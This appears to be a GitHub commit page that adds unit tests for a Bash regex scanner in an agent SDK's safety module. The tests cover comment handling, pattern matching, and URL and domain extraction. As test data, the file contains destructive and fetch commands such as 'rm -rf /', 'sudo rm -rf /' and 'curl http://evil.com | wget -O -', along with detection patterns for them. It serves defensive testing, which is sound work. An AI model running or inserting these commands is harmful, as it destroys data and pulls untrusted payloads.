Skip to content

Commit 3f8d650

Browse files
committed
fix(safety): 格式化safety模块代码并补充单元测试
- 对 safety 模块及测试共 28 个 Python 文件执行 yapf 格式化 - 新增 5 个测试文件,共 334 个测试用例: - test_guard_extended.py:报告写入、审计JSONL、OTel span、证据脱敏 - test_rules_network.py:域名白名单、URL解析、bash/python分支 - test_rules_secrets.py:token模式、占位符检测、变量名匹配 - test_rules_process.py:命令提取、shell=True/False、eval/exec - test_rules_file_ops_resource_dep.py:FS/RES/DEP规则 - safety 模块覆盖率从 39.65% 提升至 97%
1 parent 87d29af commit 3f8d650

26 files changed

Lines changed: 5357 additions & 508 deletions
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
"""Unit tests for Bash regex scanner utilities."""
2+
3+
import pytest
4+
5+
from trpc_agent_sdk.tools.safety.scanner.bash_scanner import (
6+
CompiledPatternSet,
7+
PatternMatch,
8+
extract_domain_from_url,
9+
extract_urls_from_line,
10+
is_comment_line,
11+
scan_lines,
12+
strip_inline_comment,
13+
)
14+
15+
16+
class TestIsCommentLine:
17+
"""Test is_comment_line function."""
18+
19+
def test_comment(self):
20+
assert is_comment_line("# this is a comment") is True
21+
22+
def test_indented_comment(self):
23+
assert is_comment_line(" # indented comment") is True
24+
25+
def test_not_comment(self):
26+
assert is_comment_line("echo hello") is False
27+
28+
def test_empty_line(self):
29+
assert is_comment_line("") is False
30+
31+
def test_whitespace_only(self):
32+
assert is_comment_line(" ") is False
33+
34+
def test_shebang(self):
35+
assert is_comment_line("#!/bin/bash") is True
36+
37+
38+
class TestStripInlineComment:
39+
"""Test strip_inline_comment function."""
40+
41+
def test_no_comment(self):
42+
assert strip_inline_comment("echo hello") == "echo hello"
43+
44+
def test_inline_comment(self):
45+
assert strip_inline_comment("echo hello # greeting") == "echo hello"
46+
47+
def test_hash_in_single_quotes(self):
48+
assert strip_inline_comment("echo '#not a comment'") == "echo '#not a comment'"
49+
50+
def test_hash_in_double_quotes(self):
51+
assert strip_inline_comment('echo "color=#fff"') == 'echo "color=#fff"'
52+
53+
def test_comment_after_quotes(self):
54+
result = strip_inline_comment("echo 'hi' # comment")
55+
assert result == "echo 'hi'"
56+
57+
def test_no_hash(self):
58+
assert strip_inline_comment("ls -la") == "ls -la"
59+
60+
61+
class TestCompiledPatternSet:
62+
"""Test CompiledPatternSet class."""
63+
64+
def test_basic_match(self):
65+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
66+
matches = patterns.match_line("rm -rf /tmp")
67+
assert len(matches) == 1
68+
assert matches[0][0] == "rm_rf"
69+
70+
def test_no_match(self):
71+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
72+
matches = patterns.match_line("echo hello")
73+
assert len(matches) == 0
74+
75+
def test_multiple_patterns(self):
76+
patterns = CompiledPatternSet({
77+
"curl": r"\bcurl\b",
78+
"wget": r"\bwget\b",
79+
})
80+
matches = patterns.match_line("curl http://evil.com | wget -O -")
81+
assert len(matches) == 2
82+
names = {m[0] for m in matches}
83+
assert names == {"curl", "wget"}
84+
85+
def test_case_insensitive_default(self):
86+
patterns = CompiledPatternSet({"sudo": r"\bsudo\b"})
87+
matches = patterns.match_line("SUDO rm -rf /")
88+
assert len(matches) == 1
89+
90+
def test_count(self):
91+
patterns = CompiledPatternSet({"a": r"a", "b": r"b", "c": r"c"})
92+
assert patterns.count == 3
93+
94+
95+
class TestScanLines:
96+
"""Test scan_lines function."""
97+
98+
def test_basic_scan(self):
99+
source = "#!/bin/bash\nrm -rf /tmp\necho done"
100+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
101+
results = scan_lines(source, patterns)
102+
assert len(results) == 1
103+
assert results[0].line_number == 2
104+
assert results[0].pattern_name == "rm_rf"
105+
106+
def test_skips_comments(self):
107+
source = "# rm -rf / dangerous\necho safe"
108+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
109+
results = scan_lines(source, patterns, skip_comments=True)
110+
assert len(results) == 0
111+
112+
def test_includes_comments_when_disabled(self):
113+
source = "# rm -rf / dangerous\necho safe"
114+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
115+
results = scan_lines(source, patterns, skip_comments=False)
116+
assert len(results) == 1
117+
118+
def test_strips_inline_comments(self):
119+
source = "echo hello # rm -rf / fake"
120+
patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"})
121+
results = scan_lines(source, patterns)
122+
# "rm -rf" is in the inline comment part, should be stripped
123+
assert len(results) == 0
124+
125+
def test_multiple_matches(self):
126+
source = "curl http://a.com\nwget http://b.com\necho done"
127+
patterns = CompiledPatternSet({
128+
"curl": r"\bcurl\b",
129+
"wget": r"\bwget\b",
130+
})
131+
results = scan_lines(source, patterns)
132+
assert len(results) == 2
133+
assert results[0].pattern_name == "curl"
134+
assert results[1].pattern_name == "wget"
135+
136+
def test_empty_source(self):
137+
results = scan_lines("", CompiledPatternSet({"x": r"x"}))
138+
assert results == []
139+
140+
def test_pattern_match_fields(self):
141+
source = "sudo rm -rf /"
142+
patterns = CompiledPatternSet({"sudo": r"\bsudo\b"})
143+
results = scan_lines(source, patterns)
144+
assert len(results) == 1
145+
m = results[0]
146+
assert m.line_number == 1
147+
assert m.line_content == "sudo rm -rf /"
148+
assert m.matched_text == "sudo"
149+
assert m.pattern_name == "sudo"
150+
151+
152+
class TestExtractUrlsFromLine:
153+
"""Test extract_urls_from_line function."""
154+
155+
def test_http_url(self):
156+
urls = extract_urls_from_line("curl http://evil.com/payload")
157+
assert "http://evil.com/payload" in urls
158+
159+
def test_https_url(self):
160+
urls = extract_urls_from_line("wget https://safe.org/file.tar.gz")
161+
assert "https://safe.org/file.tar.gz" in urls
162+
163+
def test_multiple_urls(self):
164+
line = "curl https://a.com && wget http://b.org/x"
165+
urls = extract_urls_from_line(line)
166+
assert len(urls) == 2
167+
168+
def test_no_url(self):
169+
urls = extract_urls_from_line("echo hello world")
170+
assert urls == []
171+
172+
def test_ftp_url(self):
173+
urls = extract_urls_from_line("ftp://files.example.com/data")
174+
assert "ftp://files.example.com/data" in urls
175+
176+
177+
class TestExtractDomainFromUrl:
178+
"""Test extract_domain_from_url function."""
179+
180+
def test_simple_url(self):
181+
assert extract_domain_from_url("https://api.openai.com/v1/chat") == "api.openai.com"
182+
183+
def test_with_port(self):
184+
assert extract_domain_from_url("http://localhost:8080/api") == None # no dot
185+
186+
def test_with_auth(self):
187+
assert extract_domain_from_url("https://user:pass@example.com/path") == "example.com"
188+
189+
def test_ip_with_dot(self):
190+
assert extract_domain_from_url("http://192.168.1.1/admin") == "192.168.1.1"
191+
192+
def test_no_protocol(self):
193+
# If someone passes just a host
194+
assert extract_domain_from_url("example.com/path") == "example.com"
195+
196+
def test_empty(self):
197+
assert extract_domain_from_url("") is None
198+
199+
def test_no_dot_returns_none(self):
200+
assert extract_domain_from_url("http://localhost/api") is None
201+
202+
def test_uppercase_normalized(self):
203+
assert extract_domain_from_url("https://API.OpenAI.COM/v1") == "api.openai.com"

0 commit comments

Comments
 (0)